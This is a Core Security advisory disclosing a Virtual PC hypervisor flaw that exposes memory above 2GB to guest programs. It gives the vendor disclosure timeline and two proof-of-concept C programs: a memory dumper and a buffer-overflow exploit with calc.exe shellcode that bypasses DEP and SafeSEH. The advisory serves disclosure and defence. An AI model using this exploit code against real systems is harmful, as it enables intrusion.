Virtual PC Hypervisor Memory Protection Vulnerability

1. Advisory Information

Title: Virtual PC Hypervisor Memory Protection Vulnerability
Advisory Id: CORE-2009-0803
Advisory URL: http://www.coresecurity.com/core-labs/advisories/virtual-pc-2007-hypervisor-memory-protection-bug
Date published: 2010-03-16
Date of last update: 2010-03-16
Vendors contacted: Microsoft
Release mode: User release

2. Vulnerability Information

Class: Improper Access Control [CWE-285]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 38764
CVE Name: N/A

3. Vulnerability Description

Windows Virtual PC and Microsoft Virtual PC 2007 are system virtualization desktop applications from Microsoft used to run one or many virtual hosts on a single physical system. Windows 7 relies on Virtual PC technology to implement the backward compatibility XP Mode for legacy Windows applications. Using XP Mode, Windows 7 users can run Windows applications on a virtualized Windows XP SP3 operating system directly from the Windows 7 desktop but in doing so they may be inadvertently increasing their risk due to a bug that makes standard Windows anti-exploitation mechanisms ineffective.

A vulnerability found in the memory management of the Virtual Machine Monitor makes memory pages mapped above the 2GB available with read or read/write access to user-space programs running in a Guest operating system. By leveraging this vulnerability it is possible to bypass security mechanisms of the operating system such as Data Execution Prevention (DEP) , Safe Structured Error Handling (SafeSEH) and Address Space Layout Randomization (ASLR) designed to prevent exploitation of security bugs in applications running on Windows operation systems.

Thus applications with bugs that are not exploitable when running in non-virtualized operating systems become exploitable if running within a guest OS of Virtual PC. In particular, an application running on Windows 7 in XP Mode may be exploitable while the same application running directly on a Windows XP SP3 system is not.

Additionally, software bugs that normally may not be considered security-relevant and therefore not prioritized for the development or deployment of fixes may suddenly become unpatched and exploitable security bugs in the context of this vulnerability.

The vulnerability can be exploited locally within a virtualized system to escalate privileges or remotely for code execution in combination with any client-side bug for which existing patches have not been applied or with any client-side bug for which a fix has not been developed after dismissing the bug as not exploitable or of low priority. The vulnerability does not seem usable to escape from a virtualized OS (guest) to execute code in the context of the non-virtualized OS (host). Use of the vulnerability to implement covert inter-process communications within the virtualized OS or to establish inter-VM communication have not been researched in full but are deemed possible.

4. Vulnerable packages

  • Virtual PC 2007
  • Virtual PC 2007 SP1
  • Windows Virtual PC
  • Virtual Server 2005
  • Virtual Server 2005 R2 SP1

5. Non-vulnerable packages

  • Microsoft virtualization products that are based on Hyper-V technology.

6. Vendor Information, Solutions and Workarounds

This issue was reported to Microsoft in August 2009. The vendor has acknowledged the report and after extensive analysis indicated that it plans to solve the problem in future updates to the associated products.

We recommend affected users to run all mission critical Windows applications on non-virtualized systems or to use virtualization technologies that aren't affected by this bug. Windows operating systems and applications that must run virtualized using Virtual PC technologies should be kept at the highest patch level possible and monitored to detect exploitation attempts.

7. Credits

This vulnerability was discovered by Nicolás Economou from Core Security Technologies. Technical analysis and proof-of-concept tools were developed by Nicolas Economou and Diego Juarez from Core's Exploit Writers Team.

8. Technical Description / Proof of Concept Code

Operating systems based on Microsoft Windows NT technologies provide a flat 32-bit virtual address space that describes 4 gigabytes of virtual memory to 32-bit processes. This address space is used by the process to map its executable code and the data that it uses during its runtime. For performance and efficiency reasons the process address space is usually split so that 2 GB of address space are directly accessible by the user-mode application process and the other 2 GB are used to map the code and data of the operating system and only accessible to kernel code. Any attempts from a user-space process to dereference and use memory contents mapped at addresses above the 2GB boundary will trigger an exception and terminate the offending process.

In some versions of 32-bit Windows operating systems it is possible to configure the OS to provide applications with a 3GB flat virtual address space but nonetheless the remaining portion is not accessible to user-mode processes.

In Microsoft Virtual PC and Windows Virtual PC, the Virtual Machine Monitor (VMM) is responsible for mediating access to hardware resources and devices from operating systems running in a virtualized environment. The transparency and efficiency of this mediation layer is one of the core characteristics of modern virtualization technologies. In this context, to maintain an equivalent level of risk for the same application independently of whether it is running on a virtualized or a non-virtualized environment, the OS hardening and anti-exploitation mechanisms of a Windows operating system running directly on hardware should have the exact same effectiveness and efficiency when the OS runs on virtualized HW as when it runs on a Guest OS.

A vulnerability found in the Virtual PC hypervisor invalidates this assumption and undermines the effectiveness of anti-exploitation mechanisms such as DEP, SafeSEH and ASLR. Incorrect memory management by the VMM of Virtual PC makes portions of the VMM worker memory available for read or read/write access to user-space processes running in a Guest OS. Leaked memory pages are mapped on the Guest OS at virtual addresses above the 2GB limit which shouldn't be accessible for user-space programs.

The vpdumper tool can be used to demonstrate the problem.

 #include <windows.h> #include <stdio.h> #include <ctype.h> #define ROWS 16 void find_leaked_memory ( void ); 
void print_data ( unsigned int , char * , unsigned int ); int main ( void ) { /* message for users */ printf 
( "\n*********** vpdumper.exe ***********" ); printf ( "\nCreated by Nicolas A. Economou ( [email protected] )" 
); printf ( "\nCore Security Technologies, Buenos Aires, Argentina ( 2010 )\n" ); /* Search and Print leaked 
memory */ printf ( "\nsearching leaked memory\n" ); find_leaked_memory (); return ( 1 ); } void find_leaked_memory 
( void ) { char buffer [ 0x1000 ]; char *base; int r, w; /* search the high address memory area */ for ( base = 
( char * ) 0x80000000 ; base < ( char * ) 0xfffff000 ; base += 0x1000 ) { /* Dark Area */ if ( ( unsigned int ) 
base == 0xe839c000 ) { continue; } /* Inicialize flags */ r = FALSE; w = FALSE; /* check readable */ if 
( IsBadReadPtr ( base , 1 ) == FALSE ) { /* set flag */ r = TRUE; } /* check writeable */ if ( IsBadWritePtr 
( base , 1 ) == FALSE ) { /* set flag */ w = TRUE; } /* if readable or writeable */ if ( r == TRUE || w == TRUE ) 
{ /* get contents into our buffer */ memcpy ( buffer , base , 0x1000 ); /* print page attributes */ printf 
( "attributes: " ); printf ( "%s" , ( r == TRUE ) ? "R":"" ); printf ( "%s" , ( w == TRUE ) ? "W":"" ); printf 
( "\n" ); /* print the memory */ print_data ( ( unsigned int ) base , buffer , 0x1000 ); } } } void print_data 
( unsigned int direccion , char *buffer , unsigned int bytes_a_imprimir ) { unsigned int cont; unsigned int i; 
/* Imprimo las lineas encontradas */ for ( cont = 0 ; cont < bytes_a_imprimir ; cont = cont + ROWS ) { /* 
Imprimo la direccion de la memoria */ printf ( "%.8x | " , direccion ); /* Incremento la direccion a mostrar 
*/ direccion = direccion + ROWS; /* Imprimo en hexa */ for ( i = 0 ; i < ROWS ; i ++ ) { /* Imprimo la cantidad 
que pedi */ if ( i < ( bytes_a_imprimir - cont ) ) { printf ( "%.2x " , ( unsigned char ) buffer 
[ i + cont ] ); } else { printf ( " " ); } } /* Espacio entre las 2 columnas */ printf ( "| " ); /* Imprimo en 
caracteres */ for ( i = 0 ; i < ROWS ; i ++ ) { if ( i < ( bytes_a_imprimir - cont ) ) { printf ( "%c" , ( isgraph 
( buffer [ i + cont ] ) ) ? buffer [ i + cont ] : '.' ); } else { printf ( " " ); } } /* Fin de linea */ printf ( "\n" ); } }

As a result of the vulnerability, Windows bugs generally considered to be not exploitable may become exploitable when occurring on an application running on a Virtual PC Guest OS. As an example, the abo2 exercise from gera's Insecure Programming by Example is shown below.

 /* abo2.c * * specially crafted to feed your brain by gera */ /* This is a tricky example to make you think 
* * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); }

While abo2 is generally considered not exploitable on Windows operating systems the vp_abo2_launcher proof-of-concept tool shown below demonstrates that it is indeed exploitable when running in Windows XP Mode on Windows 7 or an Windows XP SP3 or Windows Vista guest OS in Virtual PC.

 #include <windows.h> #include <stdio.h> #include <process.h> /*************************************
***************************************/ unsigned int get_pop_pop_ret ( char ); int is_pattern 
( unsigned char * , unsigned int , unsigned int * ); /*********************************************
*******************************/ char get_code_address [] = "" "\xe8\xff\xff\xff\xff\xf0" // 
"call $-1" "\x58" // "pop eax" "\x58" // "pop eax" "\xeb\x0a" // "jmp $+10" "calc.exe\x01\x01" // 
process "\x04\x05" // "add al,5" "\xfe\x48\x08"; // "dec byte ptr [eax+0x09]" char call_to_winexec 
[] = "" "\xbb\x33\x33\x33\x33" // "mov ebx,WinExec" "\x6a\x01" // "push 1" "\x50" // 
"push eax" "\xff\xd3"; // "call ebx" char call_to_exit [] = "" "\xbb\x33\x33\x33\x33" // 
"mov ebx,ExitProcess" "\x6a\x01" // "push 1" "\xff\xd3"; // "call ebx" /***********************
*****************************************************/ void main ( int argc , char *argv [] ) 
{ char shellcode [ 1024 ]; char buffer [ 1024 ]; char *args [ 3 ]; unsigned int exit_process; 
unsigned int address; unsigned int winexec; /* check parameters */ if ( argc != 3 || ( ( strcmp 
( argv [ 1 ] , "r" ) != 0 && strcmp ( argv [ 1 ] , "w" ) != 0 ) ) ) { printf ( "\nuse: vp_abo2_launcher 
<r|w> abo2.exe\n" ); printf ( "- option r: search a pop-pop-ret in the leaked memory\n" ); printf 
( "- option w: write a pop-pop-ret in the first writeable leaked page\n" ); printf ( "\nCreated 
by Nicolas A. Economou ( [email protected] )" ); printf ( "\nCore Security Technologies, 
Buenos Aires, Argentina ( 2010 )\n" ); return; } /* search for a pop-pop-ret */ printf 
( "\nsearching pop-pop-rets " ); address = get_pop_pop_ret ( *argv [ 1 ] ); /* if nothing is found...
 */ if ( address == 0 ) { /* stop the search */ printf ( "\nERROR: pop-pop-ret not found\n" ); return; } 
/* print found pop-pop-ret address */ printf ( "\npop-pop-ret found at %x\n" , address ); /* Resolve WinExec 
address */ winexec = ( unsigned int ) GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , "WinExec" ); memcpy 
( &call_to_winexec [ 1 ] , &winexec , sizeof ( unsigned int ) ); /* Resolve ExitProcess address */ 
exit_process = ( unsigned int ) GetProcAddress ( GetModuleHandle ( "kernel32.dll" ) , "ExitProcess" ); 
memcpy ( &call_to_exit [ 1 ] , &exit_process , sizeof ( unsigned int ) ); /* build up shellcode */ sprintf 
( shellcode , "%s%s%s" , get_code_address , call_to_winexec , call_to_exit ); /* buffer init */ memset 
( buffer , 0 , 1024 ); /* build the buffer */ memset ( buffer , '\x90' , 0x124 ); memcpy ( buffer , 
shellcode , strlen ( shellcode ) ); strcat ( buffer , "\x90\x90\xeb\x04" ); strncat ( buffer , ( char * ) 
&address , 4 ); strcat ( buffer , "\xe9\xcf\xfe\xff\xff" ); strcat ( buffer , "BBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" ); /* launch abo2 */ printf ( "launching 
abo2.exe ...\n" ); args [ 0 ] = argv [ 2 ]; args [ 1 ] = buffer; args [ 2 ] = NULL; execv ( argv [ 2 ] , 
&args ); printf ( "done\n" ); } /*************************************************************************
***/ unsigned int get_pop_pop_ret ( char option ) { char buffer [ 0x1000 ]; unsigned int address = 0; char 
*base; int r, w; /* search the high address memory area */ for ( base = ( char * ) 0x80000000 ; base < 
( char * ) 0xfffff000 ; base += 0x1000 ) { /* Dark Area */ if ( ( unsigned int ) base == 0xe839c000 ) 
{ continue; } /* show some progress */ if ( ( ( unsigned int ) base % 0x1000000 ) == 0 ) { printf ( "." ); } 
/* Inicialize flags */ r = FALSE; w = FALSE; /* check readable */ if ( IsBadReadPtr ( base , 1 ) == FALSE ) 
{ /* set flag */ r = TRUE; } /* check writeable */ if ( IsBadWritePtr ( base , 1 ) == FALSE ) { /* set flag 
*/ w = TRUE; } /* if searching for readable area */ if ( option == 'r' ) { /* if readable */ if ( r == TRUE ) 
{ /* get contents into our buffer */ memcpy ( buffer , base , 0x1000 ); /* pattern search */ is_pattern ( 
( unsigned char * ) buffer , ( unsigned int ) base , &address ); } } /* if searching for writeable */ else if 
( option == 'w' ) { /* if area is writeable */ if ( w == TRUE ) { /* write a pop-pop-ret */ memcpy ( base + 0x
10 , "\x58\x58\xc3" , 3 ); /* return address + 0x10 ( to avoid a zero in the address ) */ address = ( unsigned
 int ) base + 0x10; } } /* if a matching address is found */ if ( address != 0 ) { /* if the address contains 
a zero ( INVALID CHAR ) */ if ( ( ( address & 0x00ff0000 ) == 0 ) || ( ( address & 0x0000ff00 ) == 0 ) || ( ( 
address & 0x000000ff ) == 0 ) ) { /* keep searching */ address = 0; } /* if no zeroes */ else { /* stop searching
 */ break; } } } return ( address ); } /*************************************************************************
***/ int is_pattern ( unsigned char *buffer , unsigned int base , unsigned int *address ) { unsigned int cont; 
int ret = FALSE; /* search the memory area */ for ( cont = 0 ; cont < 0x1000 - 3 ; cont ++ ) { /* if I get a 
"POP" */ if ( ( buffer [ cont + 0 ] >= 0x58 ) && ( buffer [ cont + 0 ] <= 0x5f ) ) { /* if I get another "POP"
 */ if ( ( buffer [ cont + 1 ] >= 0x58 ) && ( buffer [ cont + 1 ] <= 0x5f ) ) { /* if I get a "RET" or "RET n"
 */ // if ( ( buffer [ cont + 2 ] == 0xc2 ) || ( buffer [ cont + 2 ] == 0xc3 ) ) if ( buffer [ cont + 2 ] == 
0xc3 ) { /* return the address */ *address = base + cont; /* return TRUE ( pattern found ) */ ret = TRUE; /* 
stop search */ break; } } } } return ( ret ); }

To verify this vulnerability with a real-world example, we have investigated the Sun Java System Webserver WebDAV remote buffer overflow vulnerability disclosed in January 2010. The bug was proved exploitable reliably on DEP enabled systems running as Guest OS on Virtual PC.

Use of the Virtual PC memory protection bug to bypass anti-exploitation mechanisms of the Guest OS is just one security relevant use case. Leveraging read access to leaked memory to obtain confidential or otherwise sensitive information and/or use of write access to leaked memory pages to establish a communication channel with another Guest OS are other potential attacks that were not investigated.

9. Report Timeline

  • 2009-08-19: Core Security Technologies notifies the Microsoft team of the vulnerability and sends a brief technical report.
  • 2009-08-19: The Microsoft team acknowledges the vulnerability report.
  • 2009-08-26: The Microsoft team requests some proof of concept code and the version of the vmm.sys file affected. Also requests information about whether Hardware Assisted Virtualization (HAV) is active or not when triggering the bug.
  • 2009-08-27: Core Security Technologies sends the Microsoft team the information requested. The vulnerability was triggered on Virtual PC SP1 with and without HAV, using a Windows XP SP2 guest OS over a Windows XP SP3 host OS.
  • 2009-09-08: MSRC acknowledges Core email.
  • 2009-09-08: Vendor says that it is still investigating the bug and will have more concrete details in a few days.
  • 2009-09-14: Core Security Technologies acknowledges receipt and says it will be in touch to coordinate the publication date and the bug details.
  • 2009-09-16: Vendor says that they are still investigating the issue since it is a very complex one with many dependencies. The vendor confirms the vulnerability reproduction code is working and that they are assessing the impact for both guest and host machines.
  • 2009-10-06: Core Security Technologies requests an update on the issue. Core Security Technologies also notifies the Vendor that November 16th is the scheduled publication date but reminds that the date can be coordinated with the vendor.
  • 2009-10-08: MSRC says that it is looking at the issue with priority, confirmed the findings using the provided proof-of-concept tool but it is still assessing the risks and will be back in touch in the next few days.
  • 2009-10-28: MSRC asks if Core Security Technologies has been able to exploit the issue to achieve either a denial of service attack on either the guest or host OS or managed to elevate privileges on the system.
  • 2009-10-28: Core replies that the ways to abuse access to the leaked memory have not been investigated but that the bug seemed relevant enough to report it as a security issue. Exploitation for specific purposes would require further work and Core Security Technologies may do it but it was not deemed a pre-requisite to report the bug to MSRC. Core asks the vendor if they have any findings that rules out exploitation for privilege escalation and denial of service attacks.
  • 2009-11-04: Status update from MSRC saying that the investigation into the issue was concluded. The issue was successfully identified with the PoC provided by Core. After extensive review it was determined that all the memory locations identified by the tool fall within the work area of the Virtual Machine Monitor. The findings are that the contents of the RW pages are not trusted by Virtual PC and overwritten before use and that RO pages are not sensitive and do not expose either OS or user data. The investigation concluded that the memory areas accessible from the guest cannot be leveraged to achieve either remote code execution or elevation of privilege and that no data from the host is exposed to the guest OS. MSRC asks if Core disagrees with the assessment and whether there are any other concerns that have not been addressed.
  • 2009-11-04: Core replies that the discoverer did further research into this issue since the last communication and agrees with the assessment that the leaked pages are part of the VMM work area. With regards to any other concerns regarding the issue Core says that it is in the process of preparing proof-of-concept code that demonstrates how standard anti-exploitation mechanisms of Windows operating systems can be circumvented with shellcode that returns into the memory pages leaked by the VMM which would make exploitation of bugs in the guest OS much easier than in the non-virtualized equivalent. Core believes that is enough to qualify the issue as a legitimate security bug that requires issuance of a fix and a corresponding security bulletin, particularly if its determined that the example case is also applicable to Windows 7 XP Mode. Core indicates that it will follow up within a week and reminds MSRC that it is still considering a security bug and maintaining its plan to publish a security advisory about it.
  • 2009-11-09: Core says that it identified a way in which the bug can be leveraged to circumvent SafeSEH and DEP by using shellcode that jumps to a sequence of POP-POP-RET instructions to be found anywhere in the leaked pages. This makes it possible and much easier to exploit bugs on virtualized systems than on those that aren't virtualized. A proof of concept exploit for the abo2 exercise is provided, the same techniques were tested and verified to work on Windows 7 XP Mode. Core asks if this scenario meets the vendor's criteria for a vulnerability that requires a fix and a security bulletin release.
  • 2009-11-09: MSRC acknowledges reception of the new details and PoC and says that it was passed to the product team to reproduce the bug and that they will get back in touch soon.
  • 2009-11-12: MSRC says that it agrees about the seriousness of the issue and that it has now involved the team responsible for the anti-exploitation mechanisms to assess it correctly. The next estimated time for a status update is November 18 and therefore ask Core to confirm that its not planning to publish the security advisory on November 16.
  • 2009-11-12: Core Security Technologies replies that it has re-scheduled publication to the second Tuesday of December 2009 (December 8) and may discuss further postponements once MSRC provides more details about the bug and the plan to fix it. Core notes that it provided only one possible exploitation scenario and did not investigate others because it seemed that a single example was sufficient to explain the implied risks.
  • 2009-11-12: MSRC acknowledges receipt of previous mail.
  • 2009-11-19: MSRC status update explains there is no new information available, and that discussion about how to address the bug still ongoing.
  • 2009-11-19: Core says that in a separate ongoing case MSRC had dismissed all variants of an unrelated MS Excel vulnerability in BIFF file formats reported in CORE-2009-0827 as not relevant to security because it can only be triggered to cause a copy operation from memory locations above 3GB which would terminate the application without any possibility for exploitation. The assumption that accesses to memory addresses above 3GB will simply terminate the process is no longer valid in the context of the Virtual PC hypervisor bug and thus this may outline another scenario for exploitation of bugs that may have been deemed unexploitable before and for which it is probable that fixes have not been developed.
  • 2009-11-12: MSRC acknowledges receipt of previous mail. Will provide additional conclusions to the team for analysis.
  • 2009-12-04: MSRC says that it didn't identify any way to leverage the Virtual PC bug to make exploitation of the Excel BIFF bug possible. According to the vendor's engineering team the exposed memory pages have no influence on the exploitability of the reported bug in Excel. The bug reported in Excel was deemed not exploitable at all not because of a defense in depth mechanism but to a hard boundary, MSRC asks for more details or PoC that demonstrate that the bug may be exploitable. However, the Virtual PC bug is still being reviewed and to make sure that it is considered appropriately the vendors asks Core to postpone publication of the advisory for an additional month. The vendor is still under the impression that this is an issue to be considered for a service pack and that it is lacking information to warrant a security bulletin.
  • 2009-12-07: Core reiterates that the original report provided a sample program (abo2) deemed not exploitable under normal conditions that becomes exploitable when running within a Virtual PC guest and that the analysis used to dismiss the Excel bug as not exploitable was based on the fact that attempts to perform read operations to memory addresses above the 3GB boundary cannot be used for anything but to terminate the offending process. Core pointed out that the Virtual PC bug invalidates the premise of that analysis and thus the conclusions should not longer be considered an indisputable truth. Furthermore, since many organizations currently rolling out Windows 7 may be relying on XP Mode to maintain compatibility with XP applications and that in doing so they may be inadvertently weakening their security posture in Core's view this warrants the need for a security bulletin and corresponding security patch. Accordingly Core has set the publication date for the Virtual PC advisory to the 2nd Tuesday of February and will not change it unless new information or a change in the vendor's stance occurs. If the vendor does not consider it a security issue then Core would rather publish the security bulletin without an official patch rather than have its publication contingent on the release cycle of a service pack at some undetermined time in the future.
  • 2009-12-31: MSRC acknowledges receipt of previous mail and indicates that it will follow up on January 8th 2010 with a final decision on how it is planning to tackle the issue.
  • 2010-01-11: Vendor says that it has completed the investigation of the Virtual PC issue. It agrees with Core's conclusions. The bug has two implications: 1) It allows an attacker to bypass DEP and SafeSEH. However as these are defense in depth mechanisms it would not be sufficient to issue a security bulletin. 2) In specific limited conditions it causes vulnerabilities that were deemed not exploitable to become exploitable. This does break a security boundary and it is something that needs to be addressed. Addressing the issue will require substantial work in Virtual PC and Virtual Server code and has a significant wider scoped fix with high application compatibility impact. The VPC team is assessing the workload required to address the issue. MSRC will get back to Core on February 2nd 2010 with an update.
  • 2010-01-11: Core acknowledges receipt of previous mail. Core asks if the vendor is still considering that the issue does not merit a security bulletin. If the answer is positive, Core will proceed with the publication of its advisory according to plan. If the answer is negative Core may decide to delay its publication depending on the vendor's estimate for a patch release date that Core expects to receive on the next scheduled status update. Core asks for clarifications about the vendor's mention to high application compatibility impact.
  • 2010-02-03: Core asks for a status update
  • 2010-02-03: MSRC acknowledges receipt of previous email, will get back within the next 48 hours.
  • 2010-02-03: Core acknowledges receipt of previous email, reminds that advisory publication is scheduled for Feb. 9 and requests confirmation that Virtual Server is also affected.
  • 2010-02-05: MSRC acknowledges receipt of previous email, says that the team is still running into issues finding the best way to address the vulnerability. The team has not found a satisfactory way of resolving the issue without large application compatibility repercussions. Vendor asks Core to postpone publication for an additional two weeks of time to involve additional people in an attempt to find a good way to address the problem.
  • 2010-02-05: Core agrees to postpone publication of the security advisory for a month and re-sets the publication date to March 2, 2010. Core says that it will need answers to 4 items in order to revisit the current deadline again: 1- The vendor's agreement that this is a security issue that will be resolved with a security fix and the corresponding security bulletin. 2- An up to date and complete list of affected platforms (having just recently learned that Virtual Server is also affected). 3- A clear technical description of the origin and root cause of the problem. 4- A plan with a reasonable estimate for a fix release date. While Core understands that the vulnerability is complex and difficult to fix it is also aware that the ongoing adoption and deployment of Windows 7 makes the knowledge of the risks associated to migrating execution of Windows XP applications to the XP Mode virtualized environment critical to security-conscious organizations that need to make informed decisions about their IT security risk. The growth rate of the installed base of Virtual PC technology resulting from the increased adoption of Windows 7 makes this an increasingly bigger problem as more time passes.
  • 2010-02-25: MSRC indicates that having thoroughly reviewed the issue over the past weeks the issue is still considered to only meet the bar as "a defense in deep issue" and reiterates the conclusions stated in the previous vendor email. The vendor says that the current plan is to consider mitigating the issue in a future release of the affected products and asks to receive the final version of Core advisory before it is published to corroborate that it matches their understanding of the issue.
    • 2010-03-03: MSRC requests a status update
    • 2010-03-03: Core replies that its still working on gathering more details to finalize the final draft of the advisory and that as soon as that work is completed it will be published. Core is currently working on two tacks: 1- Identifying the root cause of the problem to have a more clear understanding of the effects and potential mitigations other than recommending users simply to not use Virtual PC. 2- Identifying cases of previously disclosed vulnerabilities that would be more easily exploitable running in a Virtual PC guest OS. As soon as any of those two tacks yields usable results the advisory will be completed and published. The publication date is estimated for within 15 days.
    • 2010-03-10: Core status update to MSRC, publication set for Tuesday March 16th. While working on the two items described in the previous email, Core has determined that is quite likely that the bug can also be used to bypass ASLR on Guest OS that support it by using instructions at fixed (or nearly fixed) locations of the leaked pages as trampolines. Use of the leaked pages as a covert IPC mechanism for intra-guest processes is also a possibility. Core requests confirmation that Hyper-V is not affected.
    • 2010-03-15: MSRC confirms that Hyper-V is not affected. Asks for a copy of the advisory to be published on the 16th.
    • 2010-03-15: MSRC notes that it was contacted by a reporter inquiring about the issue.
    • 2010-03-15: Core acknowledges receipt of previous email, says that the advisory is still in editing process and indicates that a press release will be published as well. Speculates that the press inquire may have been the result of Core pre-announcing the upcoming press release about a Virtual PC vulnerability for the following day.
    • 2010-03-16: Advisory CORE-2009-0803 published.
     

    11. About CoreLabs

    CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs

    12. About Core Security Technologies

    Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at https://www.coresecurity.com.

    13. Disclaimer

    The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

    14. PGP/GPG Keys

    This advisory has been signed with the GPG key of Core Security Technologies advisories team.